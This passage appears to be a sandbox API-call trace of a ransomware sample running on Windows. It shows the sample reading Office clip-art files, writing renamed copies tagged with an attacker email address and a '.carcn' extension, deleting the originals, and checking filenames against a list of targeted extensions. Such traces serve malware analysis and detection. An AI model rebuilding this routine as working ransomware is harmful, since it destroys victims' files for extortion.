lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.398] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.399] SetEndOfFile (hFile=0x364) returned 1 [0301.399] CloseHandle (hObject=0x364) returned 1 [0301.399] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.399] SetEndOfFile (hFile=0x350) returned 1 [0301.400] CloseHandle (hObject=0x350) returned 1 [0301.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0301.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.401] lstrlenW (lpString=".doc") returned 4 [0301.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.401] lstrlenW (lpString=".docx") returned 5 [0301.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.401] lstrlenW (lpString=".pdf") returned 4 [0301.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.401] lstrlenW (lpString=".xls") returned 4 [0301.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.401] lstrlenW (lpString=".xlsx") returned 5 [0301.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.401] lstrlenW (lpString=".ppt") returned 4 [0301.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.401] lstrlenW (lpString=".zip") returned 4 [0301.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.401] lstrlenW (lpString=".rar") returned 4 [0301.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.401] lstrlenW (lpString=".bz2") returned 4 [0301.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.401] lstrlenW (lpString=".7z") returned 3 [0301.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.402] lstrlenW (lpString=".dbf") returned 4 [0301.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.402] lstrlenW (lpString=".1cd") returned 4 [0301.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.402] lstrlenW (lpString=".jpg") returned 4 [0301.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.402] lstrlenW (lpString=".doc") returned 4 [0301.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.402] lstrlenW (lpString=".docx") returned 5 [0301.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.402] lstrlenW (lpString=".pdf") returned 4 [0301.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.402] lstrlenW (lpString=".xls") returned 4 [0301.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.402] lstrlenW (lpString=".xlsx") returned 5 [0301.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.402] lstrlenW (lpString=".ppt") returned 4 [0301.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.402] lstrlenW (lpString=".zip") returned 4 [0301.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.403] lstrlenW (lpString=".rar") returned 4 [0301.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.403] lstrlenW (lpString=".bz2") returned 4 [0301.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.403] lstrlenW (lpString=".7z") returned 3 [0301.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.403] lstrlenW (lpString=".dbf") returned 4 [0301.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.403] lstrlenW (lpString=".1cd") returned 4 [0301.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0301.403] lstrlenW (lpString=".jpg") returned 4 [0301.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.403] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.403] lstrlenW (lpString="ED00010_.WMF") returned 12 [0301.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.404] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1382) returned 1 [0301.418] CloseHandle (hObject=0x350) returned 1 [0301.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0301.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.419] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.419] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.420] GetLastError () returned 0x0 [0301.420] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x566, lpOverlapped=0x0) returned 1 [0301.421] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x570, lpOverlapped=0x0) returned 1 [0301.422] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.422] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.422] SetEndOfFile (hFile=0x364) returned 1 [0301.422] CloseHandle (hObject=0x364) returned 1 [0301.422] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.422] SetEndOfFile (hFile=0x350) returned 1 [0301.423] CloseHandle (hObject=0x350) returned 1 [0301.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0301.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.424] lstrlenW (lpString=".doc") returned 4 [0301.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.424] lstrlenW (lpString=".docx") returned 5 [0301.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.424] lstrlenW (lpString=".pdf") returned 4 [0301.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.424] lstrlenW (lpString=".xls") returned 4 [0301.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.424] lstrlenW (lpString=".xlsx") returned 5 [0301.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.424] lstrlenW (lpString=".ppt") returned 4 [0301.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.425] lstrlenW (lpString=".zip") returned 4 [0301.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.425] lstrlenW (lpString=".rar") returned 4 [0301.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString=".bz2") returned 4 [0301.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString=".7z") returned 3 [0301.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.425] lstrlenW (lpString=".dbf") returned 4 [0301.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.425] lstrlenW (lpString=".1cd") returned 4 [0301.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.425] lstrlenW (lpString=".jpg") returned 4 [0301.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.425] lstrlenW (lpString=".doc") returned 4 [0301.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString=".docx") returned 5 [0301.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.425] lstrlenW (lpString=".pdf") returned 4 [0301.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.425] lstrlenW (lpString=".xls") returned 4 [0301.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.426] lstrlenW (lpString=".xlsx") returned 5 [0301.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.426] lstrlenW (lpString=".ppt") returned 4 [0301.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.426] lstrlenW (lpString=".zip") returned 4 [0301.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.426] lstrlenW (lpString=".rar") returned 4 [0301.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.426] lstrlenW (lpString=".bz2") returned 4 [0301.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.426] lstrlenW (lpString=".7z") returned 3 [0301.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.426] lstrlenW (lpString=".dbf") returned 4 [0301.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.426] lstrlenW (lpString=".1cd") returned 4 [0301.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68 [0301.426] lstrlenW (lpString=".jpg") returned 4 [0301.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.426] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.426] lstrlenW (lpString="ED00019_.WMF") returned 12 [0301.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.427] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=13042) returned 1 [0301.427] CloseHandle (hObject=0x350) returned 1 [0301.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0301.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.427] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.427] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.428] GetLastError () returned 0x0 [0301.428] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0301.429] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x3300, lpOverlapped=0x0) returned 1 [0301.430] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.431] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.431] SetEndOfFile (hFile=0x364) returned 1 [0301.431] CloseHandle (hObject=0x364) returned 1 [0301.431] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.431] SetEndOfFile (hFile=0x350) returned 1 [0301.432] CloseHandle (hObject=0x350) returned 1 [0301.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0301.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.433] lstrlenW (lpString=".doc") returned 4 [0301.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.433] lstrlenW (lpString=".docx") returned 5 [0301.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.433] lstrlenW (lpString=".pdf") returned 4 [0301.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.433] lstrlenW (lpString=".xls") returned 4 [0301.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.433] lstrlenW (lpString=".xlsx") returned 5 [0301.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.433] lstrlenW (lpString=".ppt") returned 4 [0301.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.433] lstrlenW (lpString=".zip") returned 4 [0301.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.433] lstrlenW (lpString=".rar") returned 4 [0301.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.433] lstrlenW (lpString=".bz2") returned 4 [0301.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.433] lstrlenW (lpString=".7z") returned 3 [0301.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.434] lstrlenW (lpString=".dbf") returned 4 [0301.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.434] lstrlenW (lpString=".1cd") returned 4 [0301.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.434] lstrlenW (lpString=".jpg") returned 4 [0301.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.434] lstrlenW (lpString=".doc") returned 4 [0301.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.434] lstrlenW (lpString=".docx") returned 5 [0301.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.434] lstrlenW (lpString=".pdf") returned 4 [0301.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.434] lstrlenW (lpString=".xls") returned 4 [0301.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.434] lstrlenW (lpString=".xlsx") returned 5 [0301.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.434] lstrlenW (lpString=".ppt") returned 4 [0301.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.435] lstrlenW (lpString=".zip") returned 4 [0301.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.435] lstrlenW (lpString=".rar") returned 4 [0301.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.435] lstrlenW (lpString=".bz2") returned 4 [0301.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.435] lstrlenW (lpString=".7z") returned 3 [0301.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.435] lstrlenW (lpString=".dbf") returned 4 [0301.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.435] lstrlenW (lpString=".1cd") returned 4 [0301.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0301.435] lstrlenW (lpString=".jpg") returned 4 [0301.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.435] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.435] lstrlenW (lpString="ED00172_.WMF") returned 12 [0301.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.436] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2700) returned 1 [0301.436] CloseHandle (hObject=0x350) returned 1 [0301.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0301.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0301.436] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.436] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0301.437] GetLastError () returned 0x0 [0301.437] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xa8c, lpOverlapped=0x0) returned 1 [0301.438] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xa90, lpOverlapped=0x0) returned 1 [0301.439] ReadFile (in: hFile=0x350, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.439] WriteFile (in: hFile=0x364, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.439] SetEndOfFile (hFile=0x364) 